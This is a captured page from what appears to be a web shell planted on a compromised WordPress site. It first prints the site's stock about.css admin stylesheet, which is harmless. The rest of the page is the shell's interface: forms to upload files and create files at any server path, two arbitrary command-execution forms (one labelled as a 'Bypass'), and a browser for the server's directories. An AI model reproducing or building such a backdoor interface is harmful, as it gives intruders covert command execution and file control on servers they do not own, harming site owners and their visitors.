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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-admin/css/about.css</strong></div><pre class='file-content'>/*------------------------------------------------------------------------------
  22.0 - About Pages

   1.0 Global: About, Credits, Freedoms, Privacy, Get Involved
    1.1 Layout
    1.2 Typography &amp; Elements
    1.3 Header
   2.0 Credits Page
   3.0 Freedoms Page
   4.0 Privacy Page
   x.2.0 Legacy About Styles: Global
    x.2.1 Typography
    x.2.2 Structure
    x.2.3 Point Releases
   x.3.0 Legacy About Styles: About Page
    x.3.1 Typography
    x.3.2 Structure
   x.4.0 Legacy About Styles: Credits &amp; Freedoms Pages
   x.5.0 Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

.about__container {
	/* Section backgrounds */
	--background: #f6f5f2;
	--subtle-background: #eef0fd;

	/* Main text color */
	--text: #1e1e1e;
	--text-light: #fff;

	/* Accent colors: used in header, on special classes. */
	--accent-1: #3858e9; /* Link color */
	--accent-2: #3858e9; /* Accent background */
	--accent-3: #ededed; /* hr background */

	/* Navigation colors. */
	--nav-background: #fff;
	--nav-border: transparent;
	--nav-color: var(--text);
	--nav-current: var(--accent-1);

	--border-radius: 0;

	--gap: 2rem;
}

/*------------------------------------------------------------------------------
  1.0 - Global: About, Credits, Freedoms, Privacy, Get Involved
------------------------------------------------------------------------------*/

.about-php,
.credits-php,
.freedoms-php,
.privacy-php,
.contribute-php {
	background: #fff;
}

.about-php #wpcontent,
.credits-php #wpcontent,
.freedoms-php #wpcontent,
.privacy-php #wpcontent,
.contribute-php #wpcontent {
	background: #fff;
	padding: 0 24px;
}

@media screen and (max-width: 782px) {
	.about-php.auto-fold #wpcontent,
	.credits-php.auto-fold #wpcontent,
	.freedoms-php.auto-fold #wpcontent,
	.privacy-php.auto-fold #wpcontent,
	.contribute-php.auto-fold #wpcontent {
		padding-left: 24px;
	}
}

.about__container {
	max-width: 1000px;
	margin: 24px auto;
	clear: both;
}

.about__container .alignleft {
	float: left;
}

.about__container .alignright {
	float: right;
}

.about__container .aligncenter {
	text-align: center;
}

.about__container .is-vertically-aligned-top {
	align-self: start;
}

.about__container .is-vertically-aligned-center {
	align-self: center;
}

.about__container .is-vertically-aligned-bottom {
	align-self: end;
}

.about__section {
	background: transparent;
	clear: both;
}

.about__container .has-accent-background-color {
	color: var(--text-light);
	background-color: var(--accent-2);
}

.about__container .has-transparent-background-color {
	background-color: transparent;
}

.about__container .has-accent-color {
	color: var(--accent-2);
}

.about__container .has-border {
	border: 3px solid currentColor;
}

.about__container .has-subtle-background-color {
	background-color: var(--subtle-background);
}

.about__container .has-background-image {
	background-size: contain;
	background-repeat: no-repeat;
	background-position: center;
}

/* 1.1 - Layout */

.about__section {
	margin: 0;
}

.about__section .column:not(.is-edge-to-edge) {
	padding: var(--gap);
}

.about__section + .about__section .is-section-header {
	padding-bottom: var(--gap);
}

.about__section .column[class*=&quot;background-color&quot;]:not(.is-edge-to-edge),
.about__section:where([class*=&quot;background-color&quot;]) .column:not(.is-edge-to-edge),
.about__section .column.has-border:not(.is-edge-to-edge) {
	padding-top: var(--gap);
	padding-bottom: var(--gap);
}

.about__section .column p:first-of-type {
	margin-top: 0;
}

.about__section .column p:last-of-type {
	margin-bottom: 0;
}

.about__section .has-text-columns {
	columns: 2;
	column-gap: calc(var(--gap) * 2);
}

.about__section .is-section-header {
	margin-bottom: 0;
	padding: var(--gap) var(--gap) 0;
}

.about__section .is-section-header p:last-child {
	margin-bottom: 0;
}

/* Section header is alone in a container. */
.about__section .is-section-header:first-child:last-child {
	padding: 0;
}

.about__section.is-feature {
	padding: var(--gap);
}

.about__section.is-feature p {
	margin: 0;
}

.about__section.is-feature p + p {
	margin-top: calc(var(--gap) / 2);
}

.about__section.has-1-column {
	margin-left: auto;
	margin-right: auto;
	max-width: 36em;
}

.about__section.has-2-columns,
.about__section.has-3-columns,
.about__section.has-4-columns,
.about__section.has-overlap-style {
	display: grid;
}

.about__section.has-gutters {
	gap: var(--gap);
	margin-bottom: var(--gap);
}

.about__section.has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about__section.has-2-columns.is-wider-right {
	grid-template-columns: 2fr 3fr;
}

.about__section.has-2-columns.is-wider-left {
	grid-template-columns: 3fr 2fr;
}

.about__section .is-section-header {
	grid-column-start: 1;
	grid-column-end: -1;
}

.about__section.has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about__section.has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about__section.has-overlap-style {
	grid-template-columns: repeat(7, 1fr);
}

.about__section.has-overlap-style .column {
	grid-row-start: 1;
}

.about__section.has-overlap-style .column:nth-of-type(2n+1) {
	grid-column-start: 2;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column:nth-of-type(2n) {
	grid-column-start: 4;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column.is-top-layer {
	z-index: 1;
}

@media screen and (max-width: 782px) {
	.about__section.has-2-columns.is-wider-right,
	.about__section.has-2-columns.is-wider-left,
	.about__section.has-3-columns {
		display: block;
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section .column:not(.is-edge-to-edge) {
		padding-top: var(--gap);
		padding-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters.is-wider-right,
	.about__section.has-2-columns.has-gutters.is-wider-left,
	.about__section.has-3-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-3-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-3-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-3-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns {
		grid-template-columns: repeat(2, 1fr);
	}

	.about__section.has-overlap-style {
		grid-template-columns: 1fr;
	}

	/* At this size, the two columns fully overlap */
	.about__section.has-overlap-style .column.column {
		grid-column-start: 1;
		grid-column-end: 2;
		grid-row-start: 1;
		grid-row-end: 2;
	}
}

@media screen and (max-width: 600px) {
	.about__section.has-2-columns {
		display: block;
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-2-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 480px) {
	.about__section.is-feature .column,
	.about__section .is-section-header {
		padding: 0;
	}

	.about__section.has-4-columns {
		display: block;
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column {
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-4-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}
}

/* 1.2 - Typography &amp; Elements */

.about__container {
	line-height: 1.4;
	color: var(--text);
}

.about__container h1 {
	padding: 0;
}

.about__container h1,
.about__container h2,
.about__container h3.is-larger-heading {
	margin-top: 0;
	margin-bottom: calc(0.5 * var(--gap));
	font-size: 2rem;
	font-weight: 700;
	line-height: 1.16;
}

.about__container h3,
.about__container h1.is-smaller-heading,
.about__container h2.is-smaller-heading {
	margin-top: 0;
	margin-bottom: calc(0.5 * var(--gap));
	font-size: 1.625rem;
	font-weight: 700;
	line-height: 1.4;
}

.about__container h4,
.about__container h3.is-smaller-heading {
	margin-top: 0;
	font-size: 1.125rem;
	font-weight: 600;
	line-height: 1.6;
}

.about__container h1,
.about__container h2,
.about__container h3,
.about__container h4 {
	text-wrap: pretty;
	color: inherit;
}

.about__container :is(h1, h2, h3, h4, .about__header-text):lang(en) {
	text-wrap: balance;
}

.about__container p {
	text-wrap: pretty;
}

.about__container p {
	font-size: inherit;
	line-height: inherit;
}

.about__container p.is-subheading {
	margin-top: 0;
	margin-bottom: 1rem;
	font-size: 1.5rem;
	font-weight: 300;
	line-height: 160%;
}

.about__section a {
	color: var(--accent-1);
	text-decoration: underline;
}

.about__section a:hover,
.about__section a:active,
.about__section a:focus {
	color: var(--accent-1);
	text-decoration: none;
}

.wp-credits-list a {
	text-decoration: none;
}

.wp-credits-list a:hover,
.wp-credits-list a:active,
.wp-credits-list a:focus {
	text-decoration: underline;
}

.about__section a.button.button-hero {
	padding-top: 1.1875rem;
	padding-bottom: 1.1875rem;
	font-size: 1.5rem;
	line-height: 1.4;
	white-space: normal;
	text-wrap: pretty;
}

.about__container ul {
	list-style: disc;
	margin-left: calc(var(--gap) / 2);
}

.about__container li {
	margin-bottom: 0.5rem;
}

.about__container img {
	margin: 0;
	max-width: 100%;
	vertical-align: middle;
}

.about__container .about__image {
	margin: 0;
}

.about__container .about__image img {
	max-width: 100%;
	width: 100%;
	height: auto;
	border-radius: var(--border-radius);
}

.about__container .about__image figcaption {
	margin-top: 0.5em;
	text-align: center;
}

.about__container .about__image .wp-video {
	margin-left: auto;
	margin-right: auto;
}

.about__container .about__image svg {
	vertical-align: middle;
}

.about__container .about__image + h3 {
	margin-top: calc(0.75 * var(--gap));
}

.about__container hr {
	margin: calc(var(--gap) / 2) var(--gap);
	height: 0;
	border: none;
	border-top: 4px solid var(--accent-3);
}

.about__container hr.is-small {
	margin-top: 0;
	margin-bottom: 0;
}

.about__container hr.is-large {
	margin: var(--gap) auto;
}

.about__container hr.is-invisible {
	border: none;
}

.about__container div.updated,
.about__container div.error,
.about__container .notice {
	display: none !important;
}

.about__container code {
	font-size: inherit;
}

.about__section {
	font-size: 1.125rem;
	line-height: 1.55;
}

.about__section.is-feature {
	font-size: 1.6em;
}

.about__section.has-3-columns,
.about__section.has-4-columns {
	font-size: 1rem;
}

@media screen and (max-width: 480px) {
	.about__section.is-feature {
		font-size: 1.4em;
	}

	.about__container h1,
	.about__container h2,
	.about__container h3.is-larger-heading {
		font-size: 2em;
	}
}

/* 1.3 - Header */

.about__header {
	position: relative;
	display: flex;
	flex-direction: column;
	align-items: flex-start;
	justify-content: flex-end;
	box-sizing: border-box;
	padding: calc(var(--gap) * 1.5);
	padding-right: 26rem; /* Space for the background image. */
	min-height: clamp(10rem, 25vw, 18.75rem);
	border-radius: var(--border-radius);
	background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='412' height='198' fill='none'%3E%3Cpath stroke='%239D1825' stroke-width='12' d='M6 0v198'/%3E%3Cpath stroke='%23D90120' stroke-width='12' d='m30.171 1.82 51.246 191.253'/%3E%3Cpath stroke='%23408538' stroke-width='12' d='m62.427 7.626 87.895 177.422'/%3E%3Cpath stroke='%23FFEE58' stroke-width='12' d='M98.769 20.973 230.2 169.061'/%3E%3Cpath stroke='%23F17826' stroke-width='12' d='m152.67 36.891 161.59 114.424'/%3E%3Cpath stroke='%23fff' stroke-width='12' d='m246.433 66.098 190.42 54.264'/%3E%3C/svg%3E%0A&quot;);
	background-repeat: no-repeat;
	background-position: right center;
	background-size: auto 65%;
	background-color: var(--background);
}

[dir=&quot;rtl&quot;] .about__header {
	background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='412' height='198' fill='none'%3E%3Cg transform='scale(-1,1)' transform-origin='50%25 50%25'%3E%3Cpath stroke='%239D1825' stroke-width='12' d='M6 0v198'/%3E%3Cpath stroke='%23D90120' stroke-width='12' d='m30.171 1.82 51.246 191.253'/%3E%3Cpath stroke='%23408538' stroke-width='12' d='m62.427 7.626 87.895 177.422'/%3E%3Cpath stroke='%23FFEE58' stroke-width='12' d='M98.769 20.973 230.2 169.061'/%3E%3Cpath stroke='%23F17826' stroke-width='12' d='m152.67 36.891 161.59 114.424'/%3E%3Cpath stroke='%23fff' stroke-width='12' d='m246.433 66.098 190.42 54.264'/%3E%3C/g%3E%3C/svg%3E%0A&quot;);
}

.about__header-image {
	margin: 0 var(--gap) 3em;
}

.about__header-title {
	box-sizing: border-box;
	margin: 0;
	padding: 0;
}

.about__header-title h1 {
	margin: 0;
	padding: 0;
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 20vw - 9rem, 4rem);
	line-height: 1;
	font-weight: 600;
}

.about-php .about__header-title h1,
.credits-php .about__header-title h1,
.freedoms-php .about__header-title h1,
.privacy-php .about__header-title h1,
.contribute-php .about__header-title h1 {
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 20vw - 9rem, 4rem);
}

.about__header-text {
	box-sizing: border-box;
	max-width: 26em;
	margin: 1rem 0 0;
	padding: 0;
	font-size: 1.6rem;
	line-height: 1.15;
}

.about__header-navigation {
	position: relative;
	z-index: 1;
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	padding-top: 0;
	margin-bottom: var(--gap);
	background: var(--nav-background);
	color: var(--nav-color);
	border-bottom: 3px solid var(--nav-border);
}

.about__header-navigation::after {
	display: none;
}

.about__header-navigation .nav-tab {
	margin-left: 0;
	padding: calc(var(--gap) * 0.75) var(--gap);
	float: none;
	font-size: 1.4em;
	line-height: 1;
	border-width: 0 0 3px;
	border-style: solid;
	border-color: transparent;
	background: transparent;
	color: inherit;
}

.about__header-navigation .nav-tab:hover,
.about__header-navigation .nav-tab:active {
	background-color: var(--nav-current);
	color: var(--text-light);
}

.about__header-navigation .nav-tab-active {
	margin-bottom: -3px;
	color: var(--nav-current);
	border-width: 0 0 6px;
	border-color: var(--nav-current);
}

.about__header-navigation .nav-tab-active:hover,
.about__header-navigation .nav-tab-active:active {
	background-color: var(--nav-current);
	color: var(--text-light);
	border-color: var(--nav-current);
}

@media screen and (max-width: 960px) {
	.about__header {
		padding-right: 21rem;
	}

	.about-php .about__header-title h1,
	.credits-php .about__header-title h1,
	.freedoms-php .about__header-title h1,
	.privacy-php .about__header-title h1,
	.contribute-php .about__header-title h1 {
		/* Fluid font size scales on browser size 600px - 960px. */
		font-size: clamp(2rem, 20vw - 9rem, 4rem);
	}

	.about__header-navigation .nav-tab {
		padding: calc(var(--gap) * 0.75) calc(var(--gap) * 0.5);
	}
}

@media screen and (max-width: 782px) {
	.about__container .about__header-text {
		font-size: 1.4em;
	}

	.about__header-container {
		display: block;
	}

	.about__header {
		padding: var(--gap);
		padding-right: 17rem;
	}

	.about__header-text {
		margin-top: 0.5rem;
	}

	.about__header-navigation .nav-tab {
		margin-top: 0;
		margin-right: 0;
		font-size: 1.2em;
	}
}

@media screen and (max-width: 600px) {
	.about__header {
		min-height: auto;
		padding-right: var(--gap);
	}

	.about__header,
	.credits-php .about__header,
	.freedoms-php .about__header,
	.privacy-php .about__header,
	.contribute-php .about__header {
		background-image: none;
	}

	.about__header-navigation {
		display: block;
	}

	.about__header-navigation .nav-tab {
		display: block;
		margin-bottom: 0;
		padding: calc(var(--gap) / 2);
		border-left-width: 6px;
		border-bottom: none;
	}

	.about__header-navigation .nav-tab-active {
		border-bottom: none;
		border-left-width: 6px;
	}
}


/*------------------------------------------------------------------------------
  2.0 - Credits Page
------------------------------------------------------------------------------*/

.about__section .wp-people-group-title {
	margin-bottom: calc(var(--gap) * 2 - 10px);
	text-align: center;

}

.about__section .wp-people-group {
	margin: 0;
	display: flex;
	flex-wrap: wrap;
}

.about__section .wp-person {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	margin-bottom: calc(var(--gap) - 10px);
	width: 25%;
	text-align: center;
}

.about__section .compact .wp-person {
	height: auto;
	width: 20%;
}

.about__section .wp-person-avatar {
	display: block;
	margin: 0 auto calc(var(--gap) / 2);
	width: 140px;
	height: 140px;
	border-radius: 100%;
	overflow: hidden;
}

.about__section .wp-person .gravatar {
	width: 140px;
	height: 140px;
	filter: grayscale(100%);
}

.about__section .compact .wp-person-avatar,
.about__section .compact .wp-person .gravatar {
	width: 80px;
	height: 80px;
}

.about__section .wp-person .web {
	display: block;
	font-size: 1.4em;
	font-weight: 600;
	padding: 10px 10px 0;
	text-decoration: none;
}

.about__section .wp-person .web:hover {
	text-decoration: underline;
}

.about__section .compact .wp-person .web {
	font-size: 1.2em;
}

.about__section .wp-person .title {
	display: block;
	margin-top: 0.5em;
}

@media screen and (max-width: 782px) {
	.about__section .wp-person {
		width: 33%;
	}

	.about__section .compact .wp-person {
		width: 25%;
	}

	.about__section .wp-person-avatar,
	.about__section .wp-person .gravatar {
		width: 120px;
		height: 120px;
	}
}

@media screen and (max-width: 600px) {
	.about__section .wp-person {
		width: 50%;
	}

	.about__section .compact .wp-person {
		width: 33%;
	}

	.about__section .wp-person .web {
		font-size: 1.2em;
	}
}

@media screen and (max-width: 480px) {
	.about__section .wp-person {
		min-width: 100%;
	}

	.about__section .wp-person .web {
		font-size: 1em;
	}

	.about__section .compact .wp-person .web {
		font-size: 1em;
	}
}


/*------------------------------------------------------------------------------
  3.0 - Freedoms Page
------------------------------------------------------------------------------*/

.about__section .column .freedom-image {
	margin-bottom: var(--gap);
	max-height: 180px;
}


/*------------------------------------------------------------------------------
  4.0 - Privacy Page
------------------------------------------------------------------------------*/

.about__section .column .privacy-image {
	display: block;
	margin-left: auto;
	margin-right: auto;
	max-width: 25rem;
}


/*------------------------------------------------------------------------------
  x.2.0 - Legacy About Styles: Global
------------------------------------------------------------------------------*/

.about-wrap {
	position: relative;
	margin: 25px 40px 0 20px;
	max-width: 1050px; /* readability */
	font-size: 15px;
}

.about-wrap.full-width-layout {
	max-width: 1200px;
}

.about-wrap-content {
	max-width: 1050px;
}

.about-wrap div.updated,
.about-wrap div.error,
.about-wrap .notice {
	display: none !important;
}

.about-wrap hr {
	border: 0;
	height: 0;
	margin: 3em 0 0;
	border-top: 1px solid rgba(0, 0, 0, 0.1);
}

.about-wrap img {
	margin: 0;
	width: 100%;
	height: auto;
	vertical-align: middle;
}

.about-wrap .inline-svg img {
	max-width: 100%;
	width: auto;
	height: auto;
}

.about-wrap video {
	margin: 1.5em auto;
}

/* WordPress Version Badge */

.wp-badge {
	background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;
	background-position: center 25px;
	background-size: 80px 80px;
	color: #fff;
	font-size: 14px;
	text-align: center;
	font-weight: 600;
	margin: 5px 0 0;
	padding-top: 120px;
	height: 40px;
	display: inline-block;
	width: 140px;
	text-rendering: optimizeLegibility;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
}

.svg .wp-badge {
	background-image: url(../images/wordpress-logo-white.svg?ver=20160308);
}

.about-wrap .wp-badge {
	position: absolute;
	top: 0;
	right: 0;
}

/* Tabs */

.about-wrap .nav-tab {
	padding-right: 15px;
	padding-left: 15px;
	font-size: 18px;
	line-height: 1.33333333;
}

/* x.2.1 - Typography */

.about-wrap h1 {
	margin: 0.2em 200px 0 0;
	padding: 0;
	color: #32373c;
	line-height: 1.2;
	font-size: 2.8em;
	font-weight: 400;
}

.about-wrap h2 {
	margin: 40px 0 0.6em;
	font-size: 2.7em;
	line-height: 1.3;
	font-weight: 300;
	text-align: center;
}

.about-wrap h3 {
	margin: 1.25em 0 0.6em;
	font-size: 1.4em;
	line-height: 1.5;
}

.about-wrap h4 {
	font-size: 16px;
	color: #23282d;
}

.about-wrap p {
	line-height: 1.5;
	font-size: 16px;
}

.about-wrap code,
.about-wrap ol li p {
	font-size: 14px;
	font-weight: 400;
}

.about-wrap figcaption {
	font-size: 13px;
	text-align: center;
	color: white;
	text-overflow: ellipsis;
}

.about-wrap .about-description,
.about-wrap .about-text {
	margin-top: 1.4em;
	font-weight: 400;
	line-height: 1.6;
	font-size: 19px;
}

.about-wrap .about-text {
	margin: 1em 200px 1em 0;
	color: #555d66;
}

/* x.2.2 - Structure */

.about-wrap .has-1-columns,
.about-wrap .has-2-columns,
.about-wrap .has-3-columns,
.about-wrap .has-4-columns {
	display: grid;
	max-width: 800px;
	margin-top: 40px;
	margin-left: auto;
	margin-right: auto;
}

.about-wrap .column {
	margin-right: 20px;
	margin-left: 20px;
}

.about-wrap .is-wide {
	max-width: 760px;
}

.about-wrap .is-fullwidth {
	max-width: 100%;
}

.about-wrap .has-1-columns {
	display: block;
	max-width: 680px;
	margin: 0 auto 40px;
}

.about-wrap .has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about-wrap .has-2-columns .column:nth-of-type(2n+1) {
	grid-column-start: 1;
}

.about-wrap .has-2-columns .column:nth-of-type(2n) {
	grid-column-start: 2;
}

.about-wrap .has-2-columns.is-wider-right {
	grid-template-columns: 1fr 2fr;
}

.about-wrap .has-2-columns.is-wider-left {
	grid-template-columns: 2fr 1fr;
}

.about-wrap .has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about-wrap .has-3-columns .column:nth-of-type(3n+1) {
	grid-column-start: 1;
}

.about-wrap .has-3-columns .column:nth-of-type(3n+2) {
	grid-column-start: 2;
}

.about-wrap .has-3-columns .column:nth-of-type(3n) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
	grid-column-start: 1;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
	grid-column-start: 2;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns .column:nth-of-type(4n) {
	grid-column-start: 4;
}

.about-wrap .column :first-child {
	margin-top: 0;
}

.about-wrap .aligncenter {
	text-align: center;
}

.about-wrap .alignleft {
	float: left;
	margin-right: 40px;
}

.about-wrap .alignright {
	float: right;
	margin-left: 40px;
}

.about-wrap .is-vertically-aligned-top {
	align-self: flex-start;
}

.about-wrap .is-vertically-aligned-center {
	align-self: center;
}

.about-wrap .is-vertically-aligned-bottom {
	align-self: end;
}

/* x.2.3 - Point Releases */

.about-wrap .point-releases {
	margin-top: 5px;
	border-bottom: 1px solid #ddd;
}

.about-wrap .changelog {
	margin-bottom: 40px;
}

.about-wrap .changelog.point-releases h3 {
	padding-top: 35px;
}

.about-wrap .changelog.point-releases h3:first-child {
	padding-top: 7px;
}

.about-wrap .changelog.feature-section .col {
	margin-top: 40px;
}

/*------------------------------------------------------------------------------
  x.3.0 - Legacy About Styles: About Page
------------------------------------------------------------------------------*/

/* x.3.1 - Typography */

.about-wrap .lead-description {
	font-size: 1.5em;
	text-align: center;
}

.about-wrap .feature-section p {
	margin-top: 0.6em;
}

/* x.3.2 - Structure */

.about-wrap .headline-feature {
	margin: 0 auto 40px;
	max-width: 680px;
}

.about-wrap .headline-feature h2 {
	margin: 50px 0 0;
}

.about-wrap .headline-feature img {
	max-width: 600px;
	width: 100%;
}

/* Go to Dashboard Home link */

.about-wrap .return-to-dashboard {
	margin: 30px 0 0 -5px;
	font-size: 14px;
	font-weight: 600;
}

.about-wrap .return-to-dashboard a {
	text-decoration: none;
	padding: 0 5px;
}

/*------------------------------------------------------------------------------
  x.4.0 - Legacy About Styles: Credits &amp; Freedoms Pages
------------------------------------------------------------------------------*/

/* Credits */

.about-wrap h2.wp-people-group {
	margin: 2.6em 0 1.33em;
	padding: 0;
	font-size: 16px;
	line-height: inherit;
	font-weight: 600;
	text-align: left;
}

.about-wrap .wp-people-group {
	padding: 0 5px;
	margin: 0 -15px 0 -5px;
}

.about-wrap .compact {
	margin-bottom: 0;
}

.about-wrap .wp-person {
	display: inline-block;
	vertical-align: top;
	margin-right: 10px;
	padding-bottom: 15px;
	height: 70px;
	width: 280px;
}

.about-wrap .compact .wp-person {
	height: auto;
	width: 180px;
	padding-bottom: 0;
	margin-bottom: 0;
}

.about-wrap .wp-person .gravatar {
	float: left;
	margin: 0 10px 10px 0;
	padding: 1px;
	width: 60px;
	height: 60px;
}

.about-wrap .compact .wp-person .gravatar {
	width: 30px;
	height: 30px;
}

.about-wrap .wp-person .web {
	margin: 6px 0 2px;
	font-size: 16px;
	font-weight: 400;
	line-height: 2;
	text-decoration: none;
}

.about-wrap .wp-person .title {
	display: block;
}

.about-wrap #wp-people-group-validators + p.wp-credits-list {
	margin-top: 0;
}

.about-wrap p.wp-credits-list a {
	white-space: nowrap;
}

/* Freedoms */

.freedoms-php .about-wrap ol {
	margin: 40px 60px;
}

.freedoms-php .about-wrap ol li {
	list-style-type: decimal;
	font-weight: 600;
}

.freedoms-php .about-wrap ol p {
	font-weight: 400;
	margin: 0.6em 0;
}

/*------------------------------------------------------------------------------
  x.5.0 - Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

@media screen and (max-width: 782px) {
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		grid-template-columns: 1fr 1fr;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+1),
	.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
		grid-column-start: 1;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+2),
	.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
		grid-column-start: 2;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n),
	.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
		grid-column-start: 1;
		grid-row-start: 2;
	}

	.about-wrap .has-4-columns .column:nth-of-type(4n) {
		grid-column-start: 2;
		grid-row-start: 2;
	}
}

@media screen and (max-width: 600px) {
	.about-wrap .has-2-columns,
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		display: block;
	}

	.about-wrap :not(.is-wider-right):not(.is-wider-left) .column {
		margin-right: 0;
		margin-left: 0;
	}

	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: grid;
	}
}

@media only screen and (max-width: 500px) {
	.about-wrap {
		margin-right: 20px;
		margin-left: 10px;
	}

	.about-wrap h1,
	.about-wrap .about-text {
		margin-right: 0;
	}

	.about-wrap .about-text {
		margin-bottom: 0.25em;
	}

	.about-wrap .wp-badge {
		position: relative;
		margin-bottom: 1.5em;
		width: 100%;
	}
}

@media only screen and (max-width: 480px) {
	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: block;
	}

	.about-wrap .column {
		margin-right: 0;
		margin-left: 0;
	}

	.about-wrap .has-2-columns.is-wider-right img,
	.about-wrap .has-2-columns.is-wider-left img {
		max-width: 160px;
	}
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-admin/css">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-admin/css" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin">wp-admin</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss">css</a></div>
  <ul>
          <li>
        <span>
          <strong>[D]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-admin%2Fcss%2Fcolors"> colors</a>
                  </span>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
